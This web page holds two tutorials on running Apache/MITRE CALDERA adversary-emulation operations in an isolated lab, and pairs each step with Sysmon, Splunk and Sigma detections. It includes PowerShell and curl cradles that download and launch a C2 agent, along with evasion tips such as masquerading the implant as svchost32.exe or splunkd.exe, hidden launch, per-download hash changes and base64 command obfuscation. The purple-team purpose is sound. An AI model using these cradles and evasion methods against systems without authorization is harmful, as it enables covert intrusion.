  • A custom plugin is small: a hook that registers an aiohttp route and loads data/, using only public service functions, refreshed with python server.py --fresh.
  • Detect all of it with Sysmon 1, 3, 7, 11, and 23, PowerShell Script Block Logging, and network signatures on the 8888 beacon and the file:sandcat.go header.

Related Tutorials

CALDERA Operations: Building and Running Automated Adversary Emulation Campaigns

Objective: Stand up Apache CALDERA v5.3.0 in an isolated lab, deploy Sandcat agents, author custom ATT&CK-mapped abilities, chain them into a multi-phase adversary profile, run the operation link by link, and turn every link into a concrete Sysmon/SIEM detection. Offense drives the telemetry; the telemetry is the deliverable.


1. Why CALDERA, and Where It Fits

A vulnerability scanner tells you what is broken. A pen test tells you whether one path can be walked. Adversary emulation answers a different question: when a known threat actor runs their playbook against your estate, which of their procedures do you actually see? CALDERA automates that question. You encode TTPs as abilities, group them into an adversary that mirrors a real actor’s tradecraft, and let a planner execute them against agents while you watch what fires in the SIEM.

CALDERA moved from MITRE stewardship to the Apache Software Foundation across 2024 and 2025. Version v5.3.0 (April 24, 2025) runs as server and agent on Linux, macOS, and Windows, ships 18 default plugins, bundles the GoLang Sandcat agent, and pulls in Atomic Red Team’s 1,400+ technique implementations. The backend is asynchronous Python on aiohttp serving a REST API and the VueJS Magma web UI.

My bias after running a lot of these: CALDERA earns its keep in purple teaming, not solo red work. The value is not that it pops a box, it is that it fires one procedure at a time, on a clock you control, so the SOC can prove or disprove a detection while the analyst is watching.


2. Lab Topology and Server Install

Everything here runs on an isolated host-only or NAT-only network. Never expose a CALDERA server to the internet.

ComponentSpec
CALDERA serverUbuntu 22.04, Python 3.10+, GoLang 1.21+, 16 GB RAM recommended, 192.168.100.10:8888
Victim 1Windows Server 2022 Evaluation, Sysmon installed, no AV for clean telemetry
Victim 2Ubuntu 22.04 for cross-platform ability testing
NetworkHost-only / NAT isolated, no route to production

Install the server:

git clone https://github.com/apache/caldera.git --recursive
cd caldera
pip3 install -r requirements.txt
python3 server.py --insecure   # lab only; --insecure disables TLS and uses default creds

The --recursive flag matters. CALDERA’s plugins are git submodules; a plain clone leaves you with an empty plugins/stockpile/ and no abilities. If Stockpile looks bare, that is why.

Install GoLang on the server too. Without it, the delivery cradles hand out the precompiled Sandcat binary from GitHub, which carries a static hash that AV signatures already know. With Go present, CALDERA recompiles the agent on each download request and you get a fresh hash every time.

Browse to http://192.168.100.10:8888. Three accounts ship by default: admin, red, and blue. Passwords and API keys live in conf/local.yml, generated on first run. Log in as red for offensive work.


3. The Five Objects You Must Understand

Get these five straight and CALDERA stops feeling like a maze. Everything else is plumbing.

ObjectWhat It IsKey Technical Detail
AbilityOne ATT&CK technique implementation (a procedure)YAML in plugins/stockpile/data/abilities/, loaded at server start
AdversaryAn ordered set of abilities modeling an actor’s TTPsYAML in plugins/stockpile/data/adversaries/; uses atomic_ordering or phases
FactAn identifiable data point about a targetSubstituted into commands as #{variable}; pre-seeded or parsed from output
PlannerThe decision engine choosing execution orderBuilt-in: atomic, batch, buckets
OperationThe live run binding adversary + planner + agent groupEmits one Link per ability-per-agent

A Link is the atomic unit of execution: one ability run on one agent. It carries the fact-substituted command, executor, status, output, timestamp, cleanup command, and any facts parsed back out. Link status is a small integer set worth memorizing, because you will read it constantly during step-through:

StatusMeaning
0Success
1Failure
-2Discarded (skipped, e.g. visibility too high)
-3Untrusted (agent went dark mid-run)

Facts are what make CALDERA feel autonomous. An ability declares what facts it requires and what it produces. A credential-dumping ability might require elevated.privileges=true and produce discovered.credential; the planner reads those relationships to build an attack graph on the fly.


Hierarchy diagram showing how a CALDERA Operation binds an Adversary, Planner, and Agent group; Abilities produce and consume Facts; the Planner emits Links that execute on Agents
Every CALDERA run collapses to five objects – master these and the rest is configuration.

4. Deploying Agents

Sandcat (also written 54ndc47) is the default agent, GoLang, cross-platform, HTTP contact by default. Two others exist: Manx, a TCP reverse-shell agent from the Terminal plugin, and Ragdoll, a Python agent over the HTML contact. Sandcat is what you want for anything realistic.

Windows PowerShell cradle

Run this on Victim 1. It downloads a freshly compiled agent, drops it as svchost32.exe, and launches it hidden into the red group.

$server="http://192.168.100.10:8888";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","proxy_http,shells");
$data=$wc.DownloadData($url);
[io.file]::WriteAllBytes("C:\Users\Public\svchost32.exe",$data);
Start-Process -FilePath C:\Users\Public\svchost32.exe `
  -ArgumentList "-server $server -group red" -WindowStyle hidden

Set agents.implant_name in the GUI to svchost32 so the on-disk name blends with legitimate Windows processes. The gocat-extensions header asks the server to compile extra features in: proxy_http for peer relaying, shells for interactive execution.

Linux cradle

server="http://192.168.100.10:8888"
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" \
  $server/file/download > /tmp/sandcat
chmod +x /tmp/sandcat
/tmp/sandcat -server $server -group red &

Agent behavior knobs

On the initial POST /beacon, the agent reports fields including paw (its unique ID), upstream_dest (the next hop to the C2, or a peer address under P2P), proxy_receivers (peer protocols it is listening on), and deadman_enabled. Three timers govern its rhythm, tunable in conf/agents.yml or the GUI:

KnobEffect
Beacon timersMin/max seconds between check-ins
Watchdog timerSeconds after the server goes unreachable before the agent kills itself
Untrusted timerSeconds before a missing agent is flagged untrusted (status -3)

Two special ability classes ride on this lifecycle. Bootstrap abilities run the instant the first beacon lands. Deadman abilities are pushed on that same first beacon (if the agent supports them) and cached, then fire just before graceful termination, whether you kill the agent from the GUI or its watchdog trips. Deadman abilities are where you put cleanup you want to survive a disconnect.

Three global variables are always available in commands: #{server} (the FQDN each agent uses to reach the C2, resolved per-agent), #{group}, and #{paw}.


5. Writing Custom Abilities

An ability is YAML with a strict schema. The fields that matter:

FieldPurpose
idUUID uniquely identifying the ability
name / descriptionHuman labels
tacticLowercase ATT&CK tactic, e.g. discovery
technique.attack_idATT&CK ID, e.g. T1082
technique.nameHuman technique name
platformsPer-OS, per-executor blocks (windows, linux, darwin)
executorspsh, cmd, sh, pwsh
commandShell command; variables as #{variable}
payloadComma-separated files fetched before running
parsersModules that extract facts from output
requirementsFact preconditions for eligibility
timeoutSeconds before the command is killed
singleton / repeatableExecution cardinality flags

One trap on those last two: set only one to True. singleton limits execution at the operation level, repeatable at the agent level, and turning both on at once makes CALDERA behave unpredictably.

Here is a Windows discovery ability mapped to T1082, with a JSON parser that stores the output as a fact:

# plugins/stockpile/data/abilities/discovery/lab_sysinfo.yml
- id: aabbccdd-1234-5678-abcd-000000000001
  name: Collect System Info
  description: Enumerate OS and hardware details
  tactic: discovery
  technique:
    attack_id: T1082
    name: System Information Discovery
  platforms:
    windows:
      psh:
        command: |
          Get-ComputerInfo | Select-Object CsName,OsName,OsVersion,
          CsProcessors,CsTotalPhysicalMemory | ConvertTo-Json
        parsers:
          plugins.stockpile.app.parsers.json:
            - source: host.system.info

A cross-platform T1033 ability that produces a fact used later in the chain:

- id: aabbccdd-1234-5678-abcd-000000000002
  name: Identify active user
  description: Find user running agent
  tactic: discovery
  technique:
    attack_id: T1033
    name: System Owner/User Discovery
  platforms:
    windows:
      psh:
        command: whoami
        parsers:
          plugins.stockpile.app.parsers.basic:
            - source: host.user.name
    linux:
      sh:
        command: whoami
        parsers:
          plugins.stockpile.app.parsers.basic:
            - source: host.user.name

And T1057 process discovery:

- id: aabbccdd-1234-5678-abcd-000000000003
  name: Discover running processes
  description: List active processes
  tactic: discovery
  technique:
    attack_id: T1057
    name: Process Discovery
  platforms:
    windows:
      psh:
        command: Get-Process | Select ProcessName,Id | ConvertTo-Json
    linux:
      sh:
        command: ps -ef

The basic parser (plugins.stockpile.app.parsers.basic) writes whole output to the source trait. Custom parsers are Python classes in plugins/stockpile/app/parsers/.

My one lost hour: an operation produced zero facts and I blamed the parser code. The command ran fine and returned 0. The problem was the source trait name in my YAML did not match the fact the follow-on ability required, so the planner never had a reason to fire the next link. Parsers are silent when they succeed into the wrong bucket. Check the fact trait names first, always. Test abilities against the Mock plugin before you touch a real agent.


6. Building a Multi-Phase Adversary Profile

An adversary is a container. Use atomic_ordering for a flat sequence, phases for numbered stages (CALDERA finishes each phase completely before the next), or packs to merge in other adversaries’ phases. A phase can even reference another adversary ID; CALDERA expands and runs all of that sub-adversary’s phases before continuing.

# plugins/stockpile/data/adversaries/lab_campaign.yml
id: lab00001-0000-0000-0000-000000000001
name: GenXCyber Lab Adversary
description: Multi-phase discovery and collection campaign
phases:
  1:
    - aabbccdd-1234-5678-abcd-000000000002   # T1033 user discovery
    - aabbccdd-1234-5678-abcd-000000000001   # T1082 system info
    - aabbccdd-1234-5678-abcd-000000000003   # T1057 process discovery
  2:
    - 90c2efaa-8205-480d-8bb6-61d90dbaf81b   # T1005 find sensitive files
    - d69e8660-62c9-431e-87eb-8cf6bd4e35cf   # T1016 find IP addresses

The two Phase 2 UUIDs come from the official CALDERA docs example adversary and reference built-in Stockpile abilities. Verify they exist in your Stockpile version (grep -r 90c2efaa plugins/stockpile/data/abilities/) before you rely on them, since Stockpile churns between releases.


7. Launching the Operation

Pick the planner deliberately. The three built-ins live in mitre/stockpile at app/atomic.py, app/batch.py, and app/buckets.py.

PlannerBehavior
AtomicSends one ability at a time per agent, in the adversary’s order; a newly joined agent restarts from the first ability
BatchRetrieves every applicable ability and fires them at once
BucketsGroups and executes abilities by ATT&CK tactic

For purple teaming, use buckets. Batch is a coverage sweep that hammers everything simultaneously, which is useless when you are trying to line up one procedure with one SIEM alert. Buckets keeps the run tactic-ordered so your analyst can watch Discovery, then Collection, then Exfiltration land in sequence.

Then set the operation controls that shape stealth:

  • Visibility: abilities with a visibility score above the operation’s threshold are skipped (status -2). Set 51 to run everything short of the overtly noisy.
  • Jitter: check-in randomization, default 2/8 seconds, to mimic realistic dwell.
  • Obfuscation: apply command-level encoding such as base64 across all abilities.
  • Autonomous: OFF. Combine Pause on Start with Run 1 Link for step-through.

Create it in Operations > + New Operation, or drive it through the REST API:

import requests, json

BASE = "http://192.168.100.10:8888"
HEADERS = {"KEY": "ADMIN123"}  # from conf/local.yml

op = {
    "name": "GenXCyber-Lab-Run-01",
    "adversary": {"adversary_id": "lab00001-0000-0000-0000-000000000001"},
    "planner": {"id": "buckets"},
    "group": "red",
    "visibility": 51,
    "jitter": "2/8",
    "obfuscation": "base64",
    "autonomous": 0,
    "state": "running"
}
r = requests.post(f"{BASE}/api/v2/operations", headers=HEADERS, json=op)
print(r.json())

8. Hands-On: Step-Through Execution and Telemetry Capture

This is the whole point. With Autonomous off, drive one link at a time and capture the exact events each procedure produces.

GUI: Operations > GenXCyber-Lab-Run-01 > Run 1 Link

After each link, hop to Victim 1 and open Event Viewer at Applications and Services Logs > Microsoft > Windows > Sysmon > Operational. Record the Event IDs that fired for that single procedure, then clear the log before the next link so your telemetry stays clean:

wevtutil cl "Microsoft-Windows-Sysmon/Operational"

Walking the lab adversary produces a predictable trail. The whoami link (T1033) throws a Process Create (Event ID 1) with a clean parent-child chain from the agent. The Get-ComputerInfo link (T1082) fires Event ID 1 for powershell.exe plus PowerShell script-block logging in the PowerShell operational log. Every beacon in between shows as Network Connection (Event ID 3) to 192.168.100.10:8888. That correlation, one CALDERA link to one cluster of Sysmon events, is the artifact you hand the SOC.

When the run finishes, pull the machine-readable report:

op_id = "OPERATION_ID_FROM_STEP_7"
r = requests.get(f"{BASE}/api/v2/operations/{op_id}/report", headers=HEADERS)
with open("operation_report.json", "w") as f:
    json.dump(r.json(), f, indent=2)

Flow diagram mapping each CALDERA link execution - T1033 whoami, T1082 Get-ComputerInfo, and C2 beacon - to the corresponding Sysmon event IDs they generate on the victim host
Stepping through one link at a time lets defenders tie each ATT&CK procedure to an exact cluster of Sysmon events.

9. Peer-to-Peer Operations Across Segmented Networks

When you laterally move to a host that cannot beacon out, P2P proxying relays its traffic through an agent that can. Compile the internet-facing agent with proxy receivers and start it listening:

# Victim 1 (reachable), compiled with HTTP + SMB pipe proxy receivers
$wc.Headers.add("gocat-extensions","proxy_http,proxy_smb_pipe");
C:\Users\Public\svchost32.exe -server http://192.168.100.10:8888 -v -listenP2P

For the segmented Victim 2, bake in peer receivers at compile time using the includeProxyPeers:All header so the binary already knows where to relay. When an agent cannot reach the C2 directly, it searches its known peer proxy receivers, and on finding a usable protocol it switches its C2 server and protocol to that peer. Over SMB it flips upstream_dest to \\WORKSTATION\pipe\proxypipe and its contact to SmbPipe. CALDERA also supports SSH tunneling of HTTP(S) contacts, currently Sandcat-only, for a stealthier upstream.


10. Reports and ATT&CK Coverage Mapping

Two plugins close the loop. Compass renders an ATT&CK Navigator heatmap of what the operation executed: red cells are techniques you fired, grey cells are gaps. Debrief generates the operation report with a technique execution summary and link-level results, ready to drop into an engagement write-up.

Read the heatmap as a detection to-do list. A red cell where no alert fired during Section 8 is a detection gap, not a win. Feed the JSON report into a SOAR pipeline through the same /api/v2/operations/{id}/report endpoint to track coverage over time.


Symbolic illustration of an ATT&CK Navigator heatmap as a physical wall of red and grey tiles with an analyst silhouette identifying detection gaps
Every red cell without a matching alert is a detection gap – the Compass heatmap turns operation results into a prioritised defence to-do list.

11. Detection and Blue Team Analysis

Every ability leaves telemetry. Here is what to correlate.

Sysmon Event IDCapturesCALDERA ability type
Event ID 1sandcat.exe, PowerShell, cmd, whoami, nltest, net.exeAgent deploy, discovery
Event ID 3Beaconing to C2 :8888; lateral connectionsAll beacons
Event ID 7DLL loads by the agent processDLL-backed execution
Event ID 10LSASS access (T1003.001)Credential access
Event ID 11Sandcat drop to C:\Users\Public\; payload writesDeploy, payload download
Event ID 13Run key writes (T1547.001)Persistence
Event ID 22DNS C2, gist resolutionDNS/gist contact
Event ID 23Artifact removalCleanup abilities

Layer ETW on top of Sysmon:

ProviderRelevance
Microsoft-Windows-PowerShell (A0C1853B-5C40-4B15-8766-3CF1C58F985A)psh/pwsh executor commands
Microsoft-Windows-WMI-ActivityWMI lateral movement
Microsoft-Windows-LDAP-Client (6A1E76FD-792B-412F-91EA-4B365DE07BAE)AD discovery LDAP queries
Microsoft-Windows-Kernel-ProcessKernel-level agent spawn

A Splunk starting point for CALDERA discovery abilities:

index=win Channel="Microsoft-Windows-Sysmon/Operational" EventID=1
  (Image="*\\nltest.exe" AND CommandLine IN ("*/dclist*","*/domain_trusts*"))

A Sigma rule for the agent’s own beacon signature, tuned to the lab drop path:

title: CALDERA Sandcat Agent Beacon and Drop
logsource:
  product: windows
  service: sysmon
detection:
  drop:
    EventID: 11
    TargetFilename|contains: '\Users\Public\'
    TargetFilename|endswith: '.exe'
  beacon:
    EventID: 3
    DestinationPort: 8888
  condition: drop or beacon
level: high

For LDAP telemetry, configure SilkService against the Microsoft-Windows-LDAP-Client provider. Aurora EDR logs land in Windows Logs > Application filtered on source AuroraAgent. Harden the CALDERA server itself: never run --insecure outside the lab, rotate the API keys in conf/local.yml, and keep the box off any routable segment.


Conceptual illustration of layered detection - Sysmon, ETW, and LDAP telemetry stacked as shield layers above a server, catching attack signals at multiple depths
Stacking Sysmon EIDs with PowerShell and LDAP ETW providers creates overlapping detection layers that catch CALDERA abilities at every execution stage.

12. Autonomous Response with the Response Plugin

CALDERA is not only offense. The Response plugin runs blue-side operations built from four tactic classes: Setup (baseline the environment), Detect (continuously gather data, with the repeatable field enabled so the ability keeps running), Response (act, such as kill process, modify firewall rules, delete files), and Hunt (search logs and file hashes for IOCs). Point a Detect/Response operation at the same lab and you get an automated counter-move to the red operation you just ran, which is a tidy way to test whether your response playbooks actually trigger.


13. Tools for CALDERA Operations

ToolDescriptionLink
Apache CALDERAThe emulation platformcaldera.readthedocs.io
SysmonEndpoint telemetry for link correlationlearn.microsoft.com
Compass pluginATT&CK Navigator coverage heatmapgithub.com/mitre/compass
Debrief pluginOperation reportinggithub.com/mitre/debrief
Atomic Red Team1,400+ technique tests imported via the Atomic pluginatomicredteam.io
SilkServiceETW collection for LDAP/PowerShell providersgithub.com/mandiant
ATT&CK NavigatorVisualize coverage and gapsmitre-attack.github.io

14. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
System Owner/User DiscoveryT1033Sysmon EID 1 for whoami
System Information DiscoveryT1082Sysmon EID 1 + PowerShell script-block logging
Process DiscoveryT1057Sysmon EID 1 for Get-Process/ps
System Network Config DiscoveryT1016Sysmon EID 1 for ipconfig/ip addr
Data from Local SystemT1005Sysmon EID 11/1 on file enumeration
Application Layer Protocol: WebT1071.001Sysmon EID 3 to C2 :8888
OS Credential Dumping: LSASST1003.001Sysmon EID 10 access to lsass.exe
Boot/Logon Autostart: Run KeysT1547.001Sysmon EID 13 Run key writes

Summary

  • CALDERA turns ATT&CK procedures into a repeatable, link-by-link operation whose real output is telemetry, not compromise.
  • The five objects rule everything: abilities implement techniques, adversaries order them, facts flow between them, planners decide order, operations emit links (status 0/1/-2/-3).
  • Choose buckets for purple teaming, run with Autonomous off, and step through with Run 1 Link so each procedure maps to one cluster of Sysmon events.
  • Correlate links to Sysmon EID 1/3/10/11/13 and PowerShell/LDAP ETW; treat every red cell in Compass with no matching alert as a detection gap to close.
  • Keep the server air-gapped, drop --insecure outside the lab, and rotate the API keys in conf/local.yml.

Related Tutorials

Introduction to CALDERA: Architecture, Agents, Abilities, and Adversary Profiles

You want to know whether your Sysmon config catches a process-discovery sweep before an attacker chains it into lateral movement. You can hand-run a dozen commands on a target and eyeball the SIEM, or you can let a planner do it on a jitter and hand you a JSON report already mapped to ATT&CK. That second path is what MITRE CALDERA buys you.

Objective: Understand CALDERA’s core architecture and its four primitives – the C2 server, agents, abilities, and adversary profiles – then stand up an isolated lab, deploy a Sandcat agent, build a discovery profile, run an autonomous operation, drive it headless via the REST API, and correlate the resulting telemetry against Sysmon and Sigma. Everything here runs against self-owned lab VMs on an isolated network.


1. What CALDERA Actually Is

CALDERA is an adversary-emulation platform built directly on the MITRE ATT&CK framework. It automates breach-and-attack simulation, assists manual red teams, and (via a plugin) even flips into automated incident response. It is an active research project at MITRE, not a shrink-wrapped product.

The practical difference from a bag of PowerShell scripts is the feedback loop. An operation fires an ability, a parser turns the command output into facts, those facts unlock the next ability, and the loop continues until objectives are met or no more links can be generated. You get repeatable, ordered, ATT&CK-tagged TTP execution with a report at the end. For a purple-team shop, that report is the whole point: it is a detection gap analysis you can hand straight to the blue team.

My opinion after running it in a few labs: CALDERA is excellent for coverage testing and terrible as a stealth C2. The stock Sandcat binary and most Stockpile abilities are known to mature AV. If you point it at a hardened SOC it lights up like a Christmas tree. That is fine. That is what you want when the goal is measuring detection, not evading it.


2. Architecture: Core System and Plugins

CALDERA has exactly two top-level components.

The Core System is the framework code: an asynchronous Python backend built on aiohttp that serves a REST API and a VueJS web interface. Everything is coordinated by AppService and stood up in server.py. The core exposes nine domain services; three of them do most of the visible work.

ServiceRole
contact_svcRegisters and routes agent contacts (the C2 channels)
data_svcRAM dictionary holding all domain objects (agents, operations, abilities, adversaries); persisted to object_store/ via save_state() / restore_state()
planning_svcPlanning logic; planners are single-module Python files

The second component is Plugins, separate repositories that hook onto the core. Agents, GUI front-ends, TTP collections, reporting tools – all plugins. This is the part people underestimate. When you run a fresh operation, the abilities, the adversary profiles, the planners, and the agent implant are all coming from plugins, not the core.

Configuration lives in conf/. The conf/default.yml file is the insecure development config with static credentials and a static API key. Production deployments use conf/local.yml with randomized credentials, generated on first run. The web UI listens on HTTP port 8888; the default contact ports are TCP 7010, UDP 7011, and WebSocket 7012.

One note on the API: the original REST API is deprecated. Use REST API v2, documented live at /api/docs on your running server. v2 requires a KEY: header on requests, with the key value taken from your config file.


Hierarchy diagram showing the CALDERA core server at the top branching down to three domain services and four major plugins
CALDERA’s two-layer architecture: the aiohttp core exposes three key services, while all agents, TTPs, and reporting tools live in separate plugins.

3. Lab Setup: Installing CALDERA in an Isolated Network

Build the range first. Three hosts, one host-only adapter, no outbound internet from the victims.

HostRoleOS
caldera-serverC2 serverUbuntu 22.04 / 24.04
windows-targetSandcat victimWindows 10/11 (NAT’d to server only)
linux-targetOptional second victimUbuntu 22.04

Clone with --recursive so every default plugin comes along, and pin a patched release. Versions before 5.1.0 are affected by CVE-2025-27364, a remote code execution flaw in the dynamic Sandcat compilation path. Use 5.1.0 or newer.

# Clone with all plugins, pinned to a patched release
git clone https://github.com/mitre/caldera.git --recursive --branch 5.1.0
cd caldera
pip3 install -r requirements.txt

# Start in insecure/dev mode; --build compiles the Magma VueJS UI
python3 server.py --insecure --build

# Web UI at http://localhost:8888   (default creds red / admin)

The first --build takes a while because it compiles the front-end into plugins/magma/dist/. Log in as red, and confirm the Training plugin is visible in the left nav. Training is a CTF-style course that walks you through most of the framework; it is the fastest way to sanity-check a fresh install.

The CALDERA team is explicit that the server does not have a hardened web interface, only basic auth. Never expose 8888 to the internet. Keep the whole thing on the host-only segment.


4. Agents: Sandcat, Manx, and Ragdoll

An agent is a process running on a compromised host that beacons to the C2 for instructions. It connects through a contact, a specific connection point defined as an independent Python module and registered with contact_svc at startup. Built-in contacts: http, tcp, udp, websocket, gist (over GitHub), and dns. Sandcat also supports SSH tunneling to mask a built-in contact.

Three agents ship by default.

AgentLanguageC2 ContactNotes
SandcatGoLangHTTP, DNS, GIST, SSH-tunnelDefault; use this to start
ManxGoLangTCP reverse-shellConnects to the app.contact.tcp socket
RagdollPythonHTML contactPython implant for HTML-only channels

Sandcat is the workhorse. It is written in Go for cross-platform builds (Windows, Linux, macOS), with source split between gocat/ (core) and gocat-extensions/ (optional features like the proxy_http peer-to-peer client). If Go is installed on the server, each delivery command recompiles the implant on the fly, producing a fresh file hash every time. That single behavior kills naive hash-based AV rules, which matters both for the operator and for the defender who now has to catch behavior instead.

On first check-in to /beacon, the server returns a paw, a unique agent identifier (JSON key paw) that you use everywhere afterward. Key CLI flags:

  • -server <URL> – C2 address
  • -group <name> – agent group (operations target groups, not individual agents)
  • -listenP2P – run a peer-to-peer proxy for agents that cannot reach the server directly
  • -originLinkID <UUID> – tag this agent with the operation link that spawned it, so the server can reconstruct lateral movement

Deploy Sandcat on the Windows target. The Agents tab generates this one-liner; substitute your server IP.

# Generated by the CALDERA Agents tab - replace <SERVER_IP>
$url="http://<SERVER_IP>:8888/file/download"
$wc=New-Object System.Net.WebClient
$wc.Headers.add("platform","windows")
$wc.Headers.add("file","sandcat.go")
$data=$wc.DownloadData($url)
[io.file]::WriteAllBytes("C:\Users\Public\splunkd.exe",$data)
C:\Users\Public\splunkd.exe -server http://<SERVER_IP>:8888 -group red

Linux is the same idea over curl:

curl -s -X POST -H "file:sandcat.go" -H "platform:linux" \
  http://<SERVER_IP>:8888/file/download > /tmp/sandcat && \
chmod +x /tmp/sandcat && /tmp/sandcat -server http://<SERVER_IP>:8888 -group red &

Within a few seconds the paw shows up in the Agents table. Timing is controlled by a set of knobs in conf/agents.yml or the GUI:

KnobEffect
Beacon TimersMin/max seconds between check-ins for new agents
Watchdog TimerSeconds to wait, after the server goes unreachable, before the agent self-terminates
Untrusted TimerSeconds before a missing agent is marked untrusted (no new links generated for it)
JitterRandom pause between abilities during an operation; default 2/8 (2 to 8 seconds)
Bootstrap AbilitiesRun immediately after first beacon; default is 43b3754c-def4-4699-a673-1d85648fda6a (Clear and avoid logs)
Deadman AbilitiesComma-separated ability IDs run just before termination (agent must support them)

Outside an operation an agent idles at roughly 60-second check-ins; inside one it moves at the jitter setting. That default Clear-and-avoid-logs bootstrap ability is worth knowing about as a defender: it is the first thing a stock Sandcat does on arrival.


5. Abilities: The Atomic Unit of Emulation

An ability is one ATT&CK technique implementation you can run on an agent. It carries the command(s), the platforms and executors they run under, any payloads, and a reference to a parser that turns output into facts. Abilities are YAML, loaded at startup. The open-source Stockpile plugin ships 200+ of them under plugins/stockpile/data/abilities/<tactic>/<uuid>.yml.

The schema fields that matter:

FieldPurpose
idUUID
name / descriptionHuman labels
tacticATT&CK tactic (discovery, lateral-movement, …)
technique.attack_id / technique.nameATT&CK technique
platformsDict keyed by windows / linux / darwin
executorsPer platform: psh, cmd, pwsh, sh, python
commandShell command; may contain #{variable} placeholders
cleanupCommand(s) to restore host state afterward
payloads / uploadsFiles fetched from /file/download or pushed to /file/upload
parsersPython module path mapping output to fact source/edge/target
requirementsFact relationships that must exist before this ability fires
timeoutMax seconds for execution
privilegeUser or Elevated
singleton / repeatable / delete_payloadRun-once, re-run, and payload-cleanup booleans
bucketsTactic grouping for the buckets planner

Here is a real discovery ability, T1057 Process Discovery, annotated:

- id: 36eecb80-ede3-442b-8774-956e906aff02
  name: Enumerate running processes
  description: List all running processes on the target host
  tactic: discovery
  technique:
    attack_id: T1057
    name: Process Discovery
  platforms:
    windows:
      psh:
        command: |
          Get-Process | Select-Object ProcessName,Id,Path | ConvertTo-Json
        parsers:
          plugins.stockpile.app.parsers.basic:
            - source: host.process.name
              edge: has_pid
              target: host.process.id
        timeout: 30
        cleanup: []
    linux:
      sh:
        command: ps -ef --no-headers | awk '{print $1,$2,$8}'
        timeout: 30
  privilege: User
  repeatable: false
  buckets:
    - discovery

The #{variable} and parser mechanics are the engine of autonomous chaining. Before execution, CALDERA scans the command for #{...} placeholders and fills them from facts. User-defined variables come from fact sources or parser output; global variables are filled internally by CALDERA. After execution, the referenced parser (plugins.stockpile.app.parsers.basic here) extracts facts as source/edge/target relationships and stores them in the operation’s knowledge graph. A later ability whose requirements reference those facts becomes eligible to run. Default parser modules live under app/learning (for example p_ip.py, p_path.py).

That is the whole trick. A discovery ability finds sensitive file paths, a parser turns them into host.file.path facts, and a staging ability that consumes #{host.file.path} fires next. No operator input in between.


Flow diagram showing how a CALDERA adversary profile feeds the planner which dispatches abilities to the agent, whose output is parsed into facts that autonomously unlock the next ability
The fact-chaining loop is CALDERA’s core intelligence: parser output populates a knowledge graph that the planner queries to determine which ability fires next.

6. Adversary Profiles: Composing TTPs into Playbooks

An adversary profile is an ordered group of abilities representing a threat actor’s TTPs. Operations run a profile against an agent group. The schema is short:

id: aabbccdd-1234-5678-abcd-000000000001
name: Lab Discovery Pack
description: Foundational discovery TTP chain for lab exercise
atomic_ordering:
  - 36eecb80-ede3-442b-8774-956e906aff02   # Enumerate processes (T1057)
  - 1f7ff232-ebf8-42bf-a3c4-657855794cfe   # Find company emails (T1087)
  - 90c2efaa-8205-480d-8bb6-61d90dbaf81b   # Find sensitive files (T1083)

The atomic_ordering list is the execution order. An optional objective UUID gives the operation a scoring goal. Pre-built profiles live in plugins/stockpile/data/adversaries/; profiles you build in the UI land in data/adversaries/. Drop this file into plugins/stockpile/data/adversaries/lab-discovery.yml, restart the server, and it appears in the adversary dropdown.

The order in which abilities run is decided by the planner, not just the profile. Two ship by default. The atomic planner (app/atomic.py in the stockpile repo) sends one ability command to each agent at a time, walking the profile’s atomic_ordering in sequence. The batch planner grabs every applicable command and sends them all at once. A third, buckets, groups by ATT&CK tactic using the buckets field. Start with atomic; it is the easiest to reason about when you are watching links appear.

The Compass plugin converts a profile into an ATT&CK Navigator layer.json. Import that into Navigator and you have a heatmap of exactly which techniques your profile exercises, which is the artifact you overlay against your detection coverage to find blind spots.


Illustration of an open tactical playbook with sequential step icons connected by arrows over an ATT&CK matrix background
An adversary profile is a reusable playbook that sequences ATT&CK-mapped abilities into a repeatable TTP chain for a specific threat actor or coverage scenario.

7. Running Your First Operation

With a Sandcat agent checked in and Lab Discovery Pack imported, walk the operation twice.

Manual mode first. Create an operation, select the Lab Discovery Pack adversary, the atomic planner, group red, and set it to manual. Manual mode pauses on each generated command and asks you to approve or discard it. Step through:

  1. The planner emits the first ability. A Link is created per agent (one here).
  2. Approve it. The agent runs Get-Process | ... | ConvertTo-Json, returns output.
  3. The basic parser extracts process-name and PID facts into the knowledge graph.
  4. The next link is generated, and so on down atomic_ordering.

Watch the fact table grow from empty to populated. That visible accumulation is the mechanism you are here to understand.

Autonomous mode next. Same profile, autonomous set, jitter 2/8. Now CALDERA fires each ability on its own, pausing 2 to 8 seconds between them, and the process-discovery output feeds subsequent abilities without you touching anything. This is where emergent chaining shows: a fact discovered early unlocks an ability that was not eligible at the start.

One operation setting to know is visibility. The operation defaults to 51 and each ability defaults to 50; any ability with a visibility score higher than the operation’s is skipped. It is CALDERA’s built-in noise throttle.

When the run finishes, export the JSON operation report. Open the Debrief plugin for the Attack Path graph, which reconstructs execution using origin_link_id to show which link spawned which follow-on activity. That JSON report is the handoff artifact for the blue team.


8. Automating with the REST API v2

Everything the GUI does, the v2 API does. Requests need a KEY: header whose value is the API key from conf/default.yml. Start the same operation headless:

import requests, json

BASE = "http://localhost:8888"
API_KEY = "ADMIN123"   # from conf/default.yml
HEADERS = {"KEY": API_KEY, "Content-Type": "application/json"}

op_payload = {
    "name": "Lab-Op-01",
    "adversary": {"adversary_id": "aabbccdd-1234-5678-abcd-000000000001"},
    "planner": {"id": "aaa7c857-37a0-4c4a-85f7-4e9f7f30e31a"},  # atomic planner
    "group": "red",
    "autonomous": 1,
    "jitter": "2/8",
    "visibility": 51
}
r = requests.post(f"{BASE}/api/v2/operations", headers=HEADERS,
                  data=json.dumps(op_payload))
op_id = r.json()["id"]

links = requests.get(f"{BASE}/api/v2/operations/{op_id}/links", headers=HEADERS)
print(links.json())

Creating abilities programmatically is just as direct. This registers a T1087.001 local-account enumeration:

ability = {
    "name": "List local users",
    "tactic": "discovery",
    "technique": {"attack_id": "T1087.001", "name": "Local Account"},
    "executors": [{
        "name": "psh",
        "platform": "windows",
        "command": "Get-LocalUser | Select-Object Name,Enabled | ConvertTo-Json",
        "timeout": 30,
        "parsers": []
    }]
}
r = requests.post(f"{BASE}/api/v2/abilities", headers=HEADERS,
                  data=json.dumps(ability))
print(r.json()["ability_id"])

Useful endpoints for scripting a full loop: /api/v2/abilities, /api/v2/adversaries, /api/v2/agents, and /api/v2/operations (with /links per operation). Full interactive docs sit at /api/docs.

